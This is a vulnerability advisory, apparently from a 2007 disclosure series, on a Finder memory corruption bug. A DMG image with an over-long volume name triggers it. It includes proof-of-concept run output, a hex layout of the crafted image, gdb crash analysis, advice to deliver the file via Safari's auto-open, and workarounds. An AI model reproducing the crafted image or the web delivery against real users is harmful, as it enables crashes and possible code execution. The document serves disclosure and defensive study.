BACK

CREDIT

POC or EXPLOIT

REFERENCES


FINDER DER FUHRER! MACINTOSHSALAD UBER ALLES!

Summary

The Wikipedia provides the following description about Finder:

The Finder is the default application program used on the Mac OS and Mac OS X operating systems that is responsible for the overall user-management of files, disks, network volumes and the launching of other applications. As such the Finder acts like the shell on other operating systems, but using a graphical user interface. It was introduced with the very first Macintosh computer, and also existed as part of GS/OS on the Apple IIGS. It underwent a complete rewrite with Apple's switch to a UNIX-based OS in Mac OS X.

Finder is affected by a memory corruption vulnerability, which leads to an exploitable denial of service condition and potential arbitrary code execution. A DMG image containing a volume name longer than 255 bytes will trigger this issue.

Affected versions

This issue has been verified in Finder 10.4.6 running on Mac OS X 10.4.8 (8L2127) x86. Previous versions might be affected.

Proof of concept, exploit or instructions to reproduce

The provided proof of concept will create a DMG image with a random 255-bytes long payload which will reproduce this issue.

$ ruby MOAB-09-01-2007.rb
MOAB-09-01-2007.rb 
.................................................................
created: /Users/AuntSophia/Warez/Luke/MOAB-09-01-2007.dmg
++ reading MOAB-09-01-2007.dmg...
++ volname length at dmg: 0255
++ dmg size: 204800 bytes.
$ hdiutil attach MOAB-09-01-2007.dmg
			

Note: you can serve the DMG file from a web server or download it over and then proceeding to mount it. Safari will do it automatically unless the 'Open safe files' option is disabled in your preferences (which is strongly recommended).

Debugging information

The following information corresponds to Finder 10.4.6 running on a Mac OS X 10.4.8 (8L2127) system, as well as the information related to the structure of the data in the DMG image.

45 52 02 00 00 00 01 90 00 00 00 00 00 00 00 00 (at offset 0)
(...)
50 4D 00 00 00 00 00 03 00 00 00 01 00 00 00 3F (at offset 512)
41 70 70 6C 65 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
41 70 70 6C 65 5F 70 61 72 74 69 74 69 6F 6E 5F
6D 61 70 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 3F 00 00 00 03 00 00 00 00
(...)
50 4D 00 00 00 00 00 03 00 00 00 40 00 00 01 40 (at offset 1024)
64 69 73 6B 20 69 6D 61 67 65 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
41 70 70 6C 65 5F 55 46 53 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 01 40 40 00 00 33 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 6E 6F 6F 67 00 00 00 00
(...)
50 4D 00 00 00 00 00 03 00 00 01 80 00 00 00 10 (at offset 1536)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
41 70 70 6C 65 5F 46 72 65 65 00 00 00 00 00 00
(...)
4C 41 42 4C 47 40 00 00 00 00 00 01 45 88 93 DA (at offset 39936)
00 FF 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ---- 0x00ff = 255 bytes
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ---- + payload + NULL
(...)
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 00 00 00
			

The volume name is located right next to the length field which seems to be also related to another property within the DMG (rogue values in the length field seem to be validated and report corrupted image, but we aren't sure at the time of writing about how such validation is done, if checking that length specified here equals to that of another field minus the size of headers and/or other data, or some other method).

aunt-sophias-computer:~ russyna$ gdb \
/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder --pid=1247
(...)
Attaching to program:
`/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder', process 1247.
Reading symbols for shared libraries ..................................
................................. done
0x90009857 in mach_msg_trap ()
(gdb) c
Continuing.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xb011f8cd
[Switching to process 2229 thread 0x3007]
0xffff0ac4 in ___memcpy () at
/System/Library/Frameworks/System.framework/PrivateHeaders/i386/cpu_capabilities.h:228
228     in /System/Library/Frameworks/System.framework/PrivateHeaders/i386/cpu_capabilities.h

(gdb) back
#0  0xffff0ac4 in ___memcpy () at
    /System/Library/Frameworks/System.framework/PrivateHeaders/i386/cpu_capabilities.h:228
#1  0x90c94952 in _FSCopyExtendedAliasInfoFromAliasPtr ()
#2  0x9252a1c9 in TNode::CreateVirtualAliasRecord ()
#3  0x9252969e in TNode::PopulateVirtualContainerFromSFL ()
#4  0x9251412b in TNodeSyncTask::SyncTaskProc ()
#5  0x90cb4f84 in PrivateMPEntryPoint ()
#6  0x90023d87 in _pthread_body ()
(gdb) i r
eax            0xffff07a0       -63584
ecx            0x1a40   6720
edx            0x2      2
ebx            0x90c948f8       -1865856776
esp            0xb011dc20       0xb011dc20
ebp            0xb011dc28       0xb011dc28
esi            0xb011f8cd       -1340999475
edi            0xb0120222       -1340997086
eip            0xffff0ac4       0xffff0ac4 <___memcpy+804>

(gdb) x/4i $eip-1
0xffff0ac3 <___memcpy+803>:     dec    %esi
0xffff0ac4 <___memcpy+804>:     mov    (%esi),%al
0xffff0ac6 <___memcpy+806>:     dec    %edi
0xffff0ac7 <___memcpy+807>:     mov    %al,(%edi)
			

If we control the size passed to memcpy(), we could abuse this for arbitrary code execution. Thus, the next step is actually verifying what arguments are being passed before the final call. Breakpoint at 0x90c9494d.

(gdb) break *0x90c9494d
Breakpoint 1 at 0x90c9494d
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder 
Reading symbols for shared libraries + done
(...)
Breakpoint 1, 0x90c9494d in _FSCopyExtendedAliasInfoFromAliasPtr ()

(gdb) i r
eax            0x10     16
ecx            0x9      9
edx            0xbfffc88c       -1073756020
ebx            0x90c948f8       -1865856776
esp            0xbfffc630       0xbfffc630
ebp            0xbfffcf68       0xbfffcf68
esi            0xbfffd460       -1073752992
edi            0xbfffd1e0       -1073753632
eip            0x90c9494d       0x90c9494d <_FSCopyExtendedAliasInfoFromAliasPtr+102>

(...)

0x90c94942 <_FSCopyExtended...Ptr+91>:   mov    %eax,8(%esp)
0x90c94946 <_FSCopyExtended...Ptr+95>:   mov    %edx,4(%esp)
0x90c9494a <_FSCopyExtended...Ptr+99>:   mov    %edi,(%esp)
0x90c9494d <_FSCopyExtended...Ptr+102>:  call   0xa0c820b4 <dyld_stub_memcpy>

(gdb) x/1u $esp+8
0xbfffc638:     16
(gdb) x/1x $esp+4
0xbfffc634:     0xbfffc88c
(gdb) x/1x $esp  
0xbfffc630:     0xbfffd1e0
(gdb) x/1x $edi
0xbfffd1e0:     0x00610000
(gdb) x/3s 0x610650
0x610650:        'A' <repeats 200 times>...
0x610718:        'A' <repeats 55 times>
0x610750:        "????\020?h"
			

See 'Exploitation conditions' for more information, or "Alastair's blog" in approximately 3 days, with stunning gobbledegook and other British humor. Beware of hardcore zealotry.

Notes

Exploitation conditions

Successful exploitation for arbitrary code execution would require control over the size parameter passed to memcpy(). Apparently, we influence it's value but can't control it directly. We might be wrong, as we haven't finished working around the DMG format (which lacks of public specification, although the encapsulated filesystems are fairly well documented). It could be possible that the size value is related to other data structures, and controlling it would require modification of those as well.

Workaround or temporary solution

Don't attempt to mount untrusted DMG files, disable Safari 'Open safe files' in it's preferences dialog, wait for Apple to release a fix (this issue has been reported to them circa a month ago).

Resistance is really futile.